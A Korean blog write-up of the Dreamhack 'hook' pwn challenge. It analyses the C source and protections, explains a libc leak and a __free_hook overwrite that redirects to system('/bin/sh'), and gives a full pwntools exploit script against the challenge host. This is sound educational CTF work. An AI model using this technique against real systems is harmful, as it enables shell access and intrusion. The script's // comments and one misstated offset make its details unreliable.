system hacking

드림핵 hook 문제 풀이

24kg0ld 2024. 7. 11. 22:53

문제 풀이 환경 : 구름 ide

1. 문제 파일 다운, 환경 분석

문제 파일을 다운 받고 $ chmod +x hook로 실행 권한을 부여했다.
환경은 문제에 제시되어 있다.
environment

Ubuntu 16.04
Arch:     amd64-64-little
RELRO:    Full RELRO
Stack:    Canary found
NX:       NX enabled
PIE:      No PIE (0x400000)

PIE를 제외하고 RELRO, canary, NX가 적용되어 있음을 알 수 있다.

2. 코드 분석

// gcc -o init_fini_array init_fini_array.c -Wl,-z,norelro
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>

void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}

void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    signal(SIGALRM, alarm_handler);
    alarm(60);
}

int main(int argc, char *argv[]) {
    long *ptr;
    size_t size;

    initialize();

    printf("stdout: %p\n", stdout); //stdout 주소 출력

    printf("Size: ");
    scanf("%ld", &size); //size 입력 받음

    ptr = malloc(size); //size바이트만큼 ptr에 할당

    printf("Data: ");
    read(0, ptr, size); //ptr에 사이즈 크기만큼 입력

    *(long *)*ptr = *(ptr+1); //(ptr + 8바이트)가 가리키는 값을 ptr이 가리키는 주소에 넣어줌

    free(ptr); ptr 해체 후
    free(ptr); 한 번 더 해체해서 오류가 발생함

    system("/bin/sh"); //쉘 실행
    return 0;
}

이 문제는 코드를 분석하는 것이 중요하다.
특히 *(long *)*ptr = *(ptr+1);를 제대로 이해하지 못하면 문제를 해결하기 어렵다.

*(long *)*ptr = *(ptr+1); 분석
오른쪽의 *(ptr+1)부터 살펴보면 ptr은 long으로 선언된 8바이트 크기의 포인터이다.
그렇기 때문에 ptr + 1은 ptr + 8바이트(long type 변수의 크기)의 주소를 의미하고,
*(ptr + 1)은 그 주소에 있는 값을 의미한다.
왼쪽의 *(long *)*ptr은 연산 순서에 따라 하나씩 생각해야 된다.

먼저 *ptr은 ptr에 있는 값을 의미하고, (long *)은 그 값을 long 타입 형태의 주소를 저장하는 포인터로 인식한다는 것을 의미한다.
다시 말해 ptr에 저장된 long 타입 변수를 의미하는 주소를 읽어온다는 뜻이다.
그리고 *(ptr +1)은 그 주소가 참조하고 있는 실제 값을 의미한다.

그럼 위의 코드는 ptr이 가리키고 있는 주소의 값을 ptr + 1(8바이트)의 값으로 바꾼다는 의미가 된다.

3. 취약점 분석

printf("stdout: %p\n", stdout)에서 stdout의 주소를 구하여 ibc base의 주소를 구할 수 있다.
*(long *)*ptr = *(ptr+1)에서 RELRO가 적용되지 않은 주소에 원하는 함수를 넣을 수 있다.
free(ptr)에서 free가 실행될 때 __free_hook이 실행되므로 __free_hook에 다른 함수를 넣어 명령을 실행할 수 있다.
PIE가 적용되어 있지 않기 때문에 main 함수의 system("/bin/sh")의 주소를 구하여 쉘을 실행할 수 있다.

위의 내용을 종합해보면 libc_base를 구하여 free_hook의 주소를 구한 후, system("/bin/sh")의 주소를 구하고 그 주소를 __free_hook에 넣어서 system 함수가 실행되게 할 수 있다.

4. system("/bin/sh") 주소 구하기

   0x0000000000400a00 <+182>:   call   0x400770 <free@plt>
   0x0000000000400a05 <+187>:   mov    rax,QWORD PTR [rbp-0x10]
   0x0000000000400a09 <+191>:   mov    rdi,rax
   0x0000000000400a0c <+194>:   call   0x400770 <free@plt>
   0x0000000000400a11 <+199>:   mov    edi,0x400aeb
   0x0000000000400a16 <+204>:   call   0x400788 <system@plt>
   0x0000000000400a1b <+209>:   mov    eax,0x0
   0x0000000000400a20 <+214>:   mov    rcx,QWORD PTR [rbp-0x8]
   0x0000000000400a24 <+218>:   xor    rcx,QWORD PTR fs:0x28
   0x0000000000400a2d <+227>:   je     0x400a34 <main+234>

pwndbg> disass main으로 main 함수를 disassemble 해보면 main+199에서 인자를 전달하고 +144에서 system@plt가 실행됨을 알 수 있다.
그러므로 0x400a11__free_hook에 넣어주면 된다.

5. 코드 작성

from pwn import *

context.arch = 'amd64'

p = remote('host3.dreamhack.games', 18696)
e = ELF('./hook')
libc = ELF('./libc-2.23.so')

p.recvuntil('stdout: ')
lb = int(p.recvn(14), 16) - libc.symbols['_IO_2_1_stdout_'] //stdout 주소 받아서 libc base 구하기(출력이 %p로 된다는 점 주의)
free_hook = lb + libc.symbols['__free_hook'] //__free_hook의 주소 구하기
system = 0x0000000000400a11 //system("/bin/sh")의 주소

payload = str(16)
p.sendlineafter('Size: ', payload) //size 적당하게(16바이트 이상) 설정해주고

payload = p64(free_hook) //free_hook의 주소를 ptr에 저장
payload += p64(system) //system의 주소를 ptr+1(ptr+8바이트)에 저장

p.sendafter('Data: ', payload)

p.interactive()

위의 코드로 익스플로잇에 성공했다.

6. 보충 설명

main 함수를 disassemble 했을 때, 0x400a11만 넣어주게 되면 mov 명령어만 실행된다고 생각할 수 있다.
하지만, 따로 ret이 되기 전까지는 코드는 주소에 따라 순차적으로 진행된다는 점을 기억해야 된다.
함수들이 실행될 때 다른 함수로 명령어 포인터가 옮겨지면 그 함수의 명령어가 순차적으로 실행이 되고 ret을 만나야지만 함수의 실행이 종료된다는 점을 생각해보면 이해하는데 도움이 된다.